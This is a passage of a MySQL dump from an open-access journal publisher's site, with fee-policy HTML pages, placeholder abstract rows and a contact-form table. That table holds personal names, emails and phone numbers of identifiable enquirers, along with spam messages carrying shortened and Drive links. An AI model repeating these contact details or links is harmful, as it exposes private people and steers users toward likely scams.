in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Advances of Otolaryngology and Rhinology Research</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2019-01-10 19:30:11','2019-01-10 19:30:11',1),(30,41,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Journal of Addiction Research and Drug Abuse</span></span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2019-01-10 19:32:39','2019-01-10 19:32:39',1),(31,42,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Ophthalmology and Eye Research Journal</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2019-01-10 19:35:16','2019-01-10 19:35:16',1);

/*Table structure for table `article_procedures` */

DROP TABLE IF EXISTS `article_procedures`;

CREATE TABLE `article_procedures` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `journal_id` int(11) DEFAULT NULL,
  `journal_cat_id` int(11) DEFAULT NULL,
  `year_of_article` varchar(250) DEFAULT NULL,
  `procedures_category` varchar(250) DEFAULT NULL,
  `conference_title` varchar(250) DEFAULT NULL,
  `title` varchar(250) DEFAULT NULL,
  `author_name` varchar(250) DEFAULT NULL,
  `doi_url` varchar(250) DEFAULT NULL,
  `seo_url` varchar(250) DEFAULT NULL,
  `seo_title` varchar(250) DEFAULT NULL,
  `seo_keyword` text,
  `seo_description` text,
  `abstract` text,
  `biography` text,
  `pdf_file` varchar(250) DEFAULT NULL,
  `image` varchar(250) DEFAULT NULL,
  `status` int(11) DEFAULT NULL,
  `create_at` datetime DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1;

/*Data for the table `article_procedures` */

insert  into `article_procedures`(`id`,`journal_id`,`journal_cat_id`,`year_of_article`,`procedures_category`,`conference_title`,`title`,`author_name`,`doi_url`,`seo_url`,`seo_title`,`seo_keyword`,`seo_description`,`abstract`,`biography`,`pdf_file`,`image`,`status`,`create_at`,`update_at`,`create_by`) values (3,3,22,'2016','Speaker Abstract','vbx','bxcvbx','cvbxcvb','cxvbxcv','vbxvb','vbxcvb','vcbvcb','vbxcvb','<p>vbxvb</p>\r\n','<p>vbxvb</p>\r\n',NULL,NULL,1,'2018-06-24 11:41:40','2018-06-24 11:51:24',1),(4,5,20,'2016','Speaker Abstract','Conference Title','Title','Author Name','DOI Url','vbvb','xcvbxcvb','vbxcvb','vbxcvb','<p>bvxcvb</p>\r\n','<p>vcbxcbv</p>\r\n',NULL,NULL,1,'2018-06-24 17:16:36','2018-06-26 08:11:19',1);

/*Table structure for table `conference_process` */

DROP TABLE IF EXISTS `conference_process`;

CREATE TABLE `conference_process` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `journal_id` int(11) DEFAULT NULL,
  `journal_cat_id` int(11) DEFAULT NULL,
  `title` varchar(250) DEFAULT NULL,
  `url` varchar(250) DEFAULT NULL,
  `venu_place` varchar(250) DEFAULT NULL,
  `status` int(11) DEFAULT '1',
  `create_at` datetime DEFAULT NULL,
  `update_at` datetime DEFAULT NULL,
  `create_by` int(11) DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

/*Data for the table `conference_process` */

/*Table structure for table `contactus` */

DROP TABLE IF EXISTS `contactus`;

CREATE TABLE `contactus` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `firstName` varchar(250) DEFAULT NULL,
  `lastName` varchar(250) DEFAULT NULL,
  `email` varchar(250) DEFAULT NULL,
  `phone` varchar(250) DEFAULT NULL,
  `message` varchar(250) DEFAULT NULL,
  `create_at` datetime DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=409 DEFAULT CHARSET=latin1;

/*Data for the table `contactus` */

insert  into `contactus`(`id`,`firstName`,`lastName`,`email`,`phone`,`message`,`create_at`) values (1,'fgfgdsf','gdfgsdf','gdfg@gmail.com','8500050944','dfgsdf','2018-06-14 23:18:41'),(2,'bb','cvbcvb','cvb@gmail.com','8500050944','ghsfghfg','2018-06-14 23:19:50'),(3,'fgsdfg','fgsdfg','cvb@gmail.com','65656345656','fgsdfg','2018-06-15 07:56:05'),(4,'hdfgshdghjGHGHFghfg','gfdgfdfgd','fghghg@gmail.com','8500050944','lithat','2018-06-17 10:22:42'),(5,'Phaneendra','Reddy','phaneendrareddy25@gmail.com','9666026054','dfgdfgdgdgdfgdfgdfgdfgdfgdfgdg','2018-07-07 16:23:35'),(6,'ghghhghgdh','ghdfhg','ghf@gmail.com','1234567890','fgsfg','2018-07-10 21:34:11'),(7,'vcbbfvvb','vcbxcvbvbv','gfd@gmail.com','1234567890','jhdjgkhdf','2018-07-10 21:38:33'),(8,'fgfggsfgs','gsfggsdfg','vasu@gmail.com','8500050944','testing','2018-07-10 21:53:00'),(9,'fgfggsfgs','gsfggsdfg','vasu@gmail.com','8500050944','testing','2018-07-10 22:00:25'),(10,'fgfggsfgs','gsfggsdfg','vasu@gmail.com','8500050944','testing','2018-07-10 22:02:02'),(11,'fgfggsfgs','gsfggsdfg','vasu@gmail.com','8500050944','testing','2018-07-10 22:03:02'),(12,'fgfggsfgs','gsfggsdfg','vasu@gmail.com','8500050944','testing','2018-07-10 22:05:21'),(13,'vasudevareddy','reddem','vaasuforu2@gmail.com','8500050944','testing  purpose','2018-07-10 22:14:31'),(14,'vijay','reddy','vijay@gmail.com','8520258520','testingsdbsbfgadshg','2018-07-10 22:19:56'),(15,'vasudevareddy','fgjhfd','ddd@gmail.com','8500050944','vbdghdgf','2018-07-10 22:21:20'),(16,'vasudevareddy','reddem','fdd@gmail.com','1234567896','1122','2018-07-10 22:23:23'),(17,'vasudevareddy','reddem','vasudevareddy549@gmail.com','8500050944','  vcxcxcv','2018-07-10 22:25:44'),(18,'vasudevareddy','reddem','vasudevareddy549@gmail.com','8500050944','  vcxcxcv','2018-07-10 22:28:33'),(19,'vasudevareddy','reddem','vasudevareddy549@gmail.com','8500050944','  vcxcxcv','2018-07-10 22:29:23'),(20,'vasudevareddy','reddem','vasudevareddy549@gmail.com','8500050944','  vcxcxcv','2018-07-10 22:32:02'),(21,'vasudevareddy','reddem','vasudevareddy549@gmail.com','8500050944','  vcxcxcv','2018-07-10 22:34:38'),(22,'vasudevareddy','reddem','vasudevareddy549@gmail.com','8500050944','  vcxcxcv','2018-07-10 22:36:17'),(23,'vasudevareddy','reddem','vasudevareddy549@gmail.com','8500050944','  vcxcxcv','2018-07-10 22:40:44'),(24,'vasudevareddy','reddem','vasudevareddy549@gmail.com','8500050944','  vcxcxcv','2018-07-10 22:41:41'),(25,'vasudevareddy','reddem','vasudevareddy549@gmail.com','8500050944','  vcxcxcv','2018-07-10 22:42:27'),(26,'vasudevareddy','reddem','vasudevareddy549@gmail.com','8500050944','  vcxcxcv','2018-07-10 22:42:39'),(27,'vasudevareddy','reddem','vasudevareddy549@gmail.com','8500050944','  vcxcxcv','2018-07-10 22:46:27'),(28,'chinna','reddem','vaasuforu2@gmail.com','1234567890','testing','2018-07-10 22:47:56'),(29,'Moammar','Dayoub','m-dayoub@hotmail.com','00358414920642','please what is your ISSN for journal open access for agricultural research and the impact','2018-08-10 13:42:53'),(30,'','','','','','2018-08-24 22:12:14'),(31,'Maximjnv','MaximgbpKY','tast.o.ro.n.a.mos.tarekikama@gmail.com\r\n','85689481553','??????? ??????? ????? ???????! \r\n \r\n<b>??????????:  \r\n???????? ??????? </b> \r\n \r\n<a>http://xn--d1abaqmlgidsb9a.xn--p1ai/</a> \r\n<a>http://????????????.??/</a> \r\n \r\n<u>??? ??????????????? ???????????? ??????????? ? ???????? ??????????????? ?????? ?????','2018-08-27 07:02:56'),(32,'','','','','','2018-09-06 22:04:35'),(33,'GluidertEk','GluidertEkKV','mladguider@mailert.ru','86917698145','??????? online ??????? ????????? ??????? ??????? ??????. ? ??? ?????? ???? ?????????? ????????. ??????? ??????????? ??????????? ???? ?????. ????????? online ??? ????????? ????????? ?????? ????????. ???? ?? ?????????? ?????? ? ?????????? ??????????? ?','2018-09-29 07:52:54'),(34,'Daloansdiorb','DaloansdiorbYT','daloans.usa@mailert.ru','82386693262','It is very heavy to search a service which offers receiving quick loans online. Many our comrades or economic firms don’t give long-term loans in the USA without some documents. However, you may search some companies which grant money without necessa','2018-10-01 07:28:47'),(35,'NV','NV','eclecticspot@gmail.com','15136026404','Good day! Look at an amazing offers for you. http://bit.ly/2M2A57i','2018-10-06 16:04:33'),(36,'LiazikaPox','LiazikaPoxPY','kalizikapsa@mailert.ru','84361353282','???????? ?????? ???? ? ???? ??? ?? ?????????? ??????????. ???????? ?????? ???????? ? ????? ?????, ??????? – ????? ?????? ? ?????????. ?????????? ???????, ???, ???? ?? ??????? ???????? ????, ??? ???? ??????????? ???????? ??????, ??? ?? ?????? ????????','2018-10-09 14:19:46'),(37,'GEORGIOS','CHARALAMPOUS','drcharalambous@yahoo.gr','6937727887','YOU INVITE ME TO JOIN YOU AS A MEMBER OF THE EDITORIAL BOARD . I TRY TO SENT YOU ALL DOCUMENTS BUT ALL THE EMAILS RETURN . PLEASE LET ME NOW IN WHAT EMAIL ADDRESS CAN SENT THEM.','2018-10-13 22:45:31'),(38,'billye','billye','nklchandran@gmail.com','12078698899',' Hi What we have here is , - 500+ top quality slots, roulette and blackjack games to choose from.  \r\n Try and be our next winner \r\nhttp://bit.ly/2JYcLqN','2018-10-17 06:11:22'),(39,'','','','','','2018-10-19 04:37:59'),(40,'ingelber','ingelber','williamakellyjr@gmail.com','19065324065','Good day! There is a good news - 500+ top quality slots, roulette and blackjack games to choose from.  To qualify click on the link below. http://bit.ly/2JUxj3g','2018-10-21 16:42:13'),(41,'Oliveremugh','Oliveremugh','primolya@mail.ru','156156246','Ciao! \r\nThere is \r\nan important \r\noffers for you. \r\n \r\nhttps://llmad.lovenights.net/c/da57dc555e50572d?s1=13606&s2=78781&s3=1&j1=1&j3=1','2018-10-22 10:53:20'),(42,'KozaimPox','KozaimPoxDS','andry.zaims@mailert.ru','89712282249','???????? ??????????? ???? ? ???? ??? ?? ?????????? ??????????. ???????? ?????? ????? ? ????? ?????, ????? – ????? ?????? ? ????. ?????????? ????????, ???, ???? ?? ??????? ???????? ????, ??? ???? ??????????? ??????? ??????, ??? ?? ?????? ????????? ???','2018-10-23 20:42:15'),(43,'DanielLomia','DanielLomia','i.burnina@mail.ru','161776558','Hi! There is an amazing offering for you. \r\n \r\nhttp://bit.ly/2ET8mHE','2018-10-27 08:01:32'),(44,'TazaumDeeme','TazaumDeemeTX','tula.zaim@mailert.ru','82741881391','?????? ????? ?????????? ??????? ???????. ? ??????? ?????????? ?????? ???????? ?????? ??? ????????? ????????. ?????? ?????? ???, ??? ?? ????? ?????? ???? ?? ??????? ????????. ?? ?????? ?????? ?????????? ????? ??? ?????????? ?????. ????? ?? ?????????? ','2018-10-27 20:27:54'),(45,'','','','','','2018-10-28 04:55:20'),(46,'Ago','Harlim','agoharlim@yahoo.com','0816854083','I need help about how to Manuscript Submission Guidelines, can you bring me example an fixed format manuscript to my email?, so I can fixed my manuscript and upload that. Thank you','2018-10-30 13:06:43'),(47,'PeterCew','PeterCew','info@cleanimpact.se','364535872','Ciao! Please note an interesting offering for you. \r\n \r\nhttp://bit.ly/2PyuHOQ','2018-11-01 02:46:13'),(48,'Lutrinae','Lutrinae','victor_dreiko@hotmail.com','13517901929','Ciao! Here is  a good bonus offer for you.  Are you in?  http://bit.ly/2Jc4CQ0','2018-11-03 10:11:12'),(49,'MichaelLew','MichaelLew','marie-louise.adolfsson@backinstallation.se','147756423',' Hi an amazingoffer \r\n Just click on the link below to qualify  \r\n \r\n \r\nhttp://bit.ly/2qvR8pC','2018-11-05 20:34:20'),(50,'Hubertbal','Hubertbal','bellydancer.anja@anjaliljefors.se','354515838',' Hy there,  What we have here is , an amazingoffering \r\n Just click \r\n \r\nhttps://drive.google.com/file/d/1q9kJhN5B5YEPTW9tuWXZ6WlgpnyABhcU/preview','2018-11-09 20:16:05'),(51,'Barryamott','Barryamott',' fredrik.bengtsson@mvbab.se','132578787',' Hi Look what we shelter against you! an fascinatingoffers \r\n Allowed click \r\n \r\n \r\nhttps://drive.google.com/file/d/1smiEGAl5ZSx1B3_gWfZpeD2Wycd1HDfP/preview','2018-11-10 19:13:57'),(52,'UgrauneRadly','UgrauneRadlyFP','ugrauneirls@mailert.ru','81978551789','???????? ?????? ? ???????????? ????? ?????? ?????????? ??????. ???? ??????? ?? ?????? ?????? ??? ?? ????, ?? ?? ??? ? ???????? ????? ????? ???. ???? ?? ?????????? ?????????? ????????? ????? ?? ????, ???????? ??? ???????? ???? ??????? ?? ????? ????? U','2018-11-12 17:41:34'),(53,'MisklozJep','MisklozJepQC','ledinkol.usaw@mailert.ru','89735952965','If you wish to be a agent of the credit fellowship, you should start to get free 30-day membership of one of them. Any of credit communities grant for their users different conditions. After 30-day membership participants must pay for each month. If ','2018-11-13 02:38:19'),(54,'','','','','','2018-11-14 16:06:49'),(55,'Barryamott','Barryamott','stengalleri-silestonecoralclay-150x150@2x.jpg','132578787',' Hi a be timelysignify up after procure \r\n Proper click \r\n \r\n \r\nhttps://drive.google.com/file/d/1n6LvhXqKDd_DdTOvAC5u_5M_zO3b0PHD/preview','2018-11-14 20:19:16'),(56,'Kaomerrhimi','KaomerrhimiFV','kaomersika@guarchibao-fest.ru','83643477976','????? ?? ??????? ?????? ???, ??? ?????? ????? ????????????? ????? ??????. ????? ?? ?????????? ? ????? ??? ? ???????, ?????????? ????? ???? ??????. ?? ?????? ???????? ?????? ????? ?? ????? ??????????? ????? ????????? ??????? ? ?????? ??????. ??? ?????','2018-11-17 00:50:30'),(57,'Clieesuest','Clieesuest','hhv@vol.vnn.vn','+79169295582','Now you! need something startup new? Open and look at this offer. Only there the choice of slaves for every taste and completely free! They are obedient slaves, they will and want perform everything you command ! \r\nhttps://rebrand.ly/governy#U34','2018-11-17 05:35:27'),(58,'DariusUphof','DariusUphof','mathilda@diggin.se','221432135','  What we arrogate here is , genialoffers \r\n Are you in?  \r\n \r\n \r\nhttps://drive.google.com/file/d/1rf0vlimoP_XRYjnFYnWhNRYoCnCUh_cK/preview','2018-11-17 08:17:21'),(59,'Kaolsodgem','KaolsodgemUT','tokane12@guarchibao-fest.ru','89872644277','????????? ?????? ? ???????????? ????? ?????? ?????????? ??????. ???? ??????? ?? ?????? ??????? ??? ?? ????, ?? ?? ??? ? ???????? ??????? ????? ???????. ???? ?? ?????? ?????? ????????? ????? ?? ?????? ????? ????, ??????????? ??? ???????? ???????? ?? ?','2018-11-18 15:46:48'),(60,'FELICA','FELICA','winwithme@hotmail.com','12766335348','Hi! Look at a good news - Join us now, and we will double or even triple your first deposit.  Just click on the link below to qualify. http://bit.ly/2J6o7sW','2018-11-18 17:57:58'),(61,'Stephenonelp','Stephenonelp','180305750@qq.com','128247664',' Hy there,  an untowarddisparage up after purchase \r\n To moderate click on the association contact in this sphere  \r\n \r\n \r\nhttps://drive.google.com/file/d/1vv8WUe7zJ2Q4utl40MMplnxFIW3spfgf/preview','2018-11-19 16:46:19'),(62,'RuneribiG','RuneribiGTC','runa.nike@zaim-fart.ru','87662962947','???????????? ????? ?????????? ???? ? ??????! ???? ?? ?????? ???? ?????????? ?????? ????? ?????????, ???????? ???????? ???????? ?? ????? Nike! ??? ????? ???????? ????? ???????????? ?? ????? ? ??? ?????? ????????? ??????? ?????? ?????! \r\n \r\n???? ??????','2018-11-22 03:42:39'),(63,'OscarWeasy','OscarWeasy','ljungby@teamortopedteknik.se','247115523','  What we take care of here is , nicestimulus \r\n Honourable click on the affiliation subordinate to to ready  \r\n \r\n \r\nhttps://drive.google.com/file/d/11PWMEMy4kfOTcZlwCiXISMcmRB18N3pa/preview','2018-11-22 07:28:36'),(64,'Kamdorunfag','KamdorunfagGK','komandor.avto@zaim-fart.ru','89555688624','???? ?? ?????? ???????? ???????? ??????? ? ???? ??????????? ??????. ?? ?????? ??????? ?????? ???? ?????? ? ?? ???????????????, ? ????? ???????? ????, ????? ??????? ? ????????????? ???? ?????????. \r\n \r\n????? <b>Avtomatyi Na Dengi</b> - ???????? ? ????','2018-11-22 21:07:57'),(65,'Picidae','Picidae','usaffirerescue@aol.com','14324067916','Ciao! There is nice offers - more than 400 incredible games & 300 top online slots waiting for you.  Just click on the link below to qualify. http://bit.ly/2J98XTW','2018-11-27 13:13:04'),(66,'Selim','ONCEL','SelimOncel@doctor.com','905325986481','Dear Madam or Sir, thanks for considering me as a reviewer for Journal of Urology and Renal Problems. I have reviewed the article titled \"Scrotal skin cover for penile skin loss secondary to penile cellulitis\". Unfortunately, my review of the manuscr','2018-11-27 15:28:09'),(67,'Anickawaync','AnickawayncWY','danicksl.esa@zaim-fart.ru','87393616319','?????? ????? ????? ????? ? ?????-?????????? ??????????? ????????. ????????????? ?? ????? ?? ?????, ?????????? ???????? ???????? ????. ???? ?? ?????? ?????????? ?????? ????????, ??? ??????????? ?????? ????????? ??? ???. ? ????? ????? ?????? ??????? ??','2018-11-30 21:16:15'),(68,'WilliamPak','WilliamPakUE','pfgxytrl@xaz21.cf','88762696197','I believe other website proprietors should take this internet site as an example, very clean and fantastic user friendly style. \r\n \r\n \r\nHow Help To Make It Money Fast - Obtain Earn Money Fast By Writing An Ebook \r\n \r\n \r\n \r\n \r\nI am sure everybody will','2018-12-01 21:14:11'),(69,'Tylerbug','Tylerbug','johanna.grindal@pe.se','211385531',' Hi What we have here is , an interestingoffer \r\n Just click on the link below to qualify  \r\n \r\nhttp://bit.ly/2HUCjUN','2018-12-03 15:25:37'),(70,'Randy','Sinclair','randy@talkwithlead.com','416-385-3200','Hi,\r\n\r\nMy name is Randy and I was looking at a few different sites online and came across your site grfpublishers.com.  I must say - your website is very impressive.  I found your website on the first page of the Search Engine.\r\n\r\nHave you noticed th','2018-12-04 15:20:48'),(71,'SneaksRok','SneaksRokUZ','sneaks.rebok@mailert.ru','88343638317','http://www.reebokclassic.ru/ - http://footwear-clothes.in.ua/wp-content/uploads/Krossovki-Reebok-cherye-600x466.jpg \r\n \r\n???? ?? ?????? ?????????? 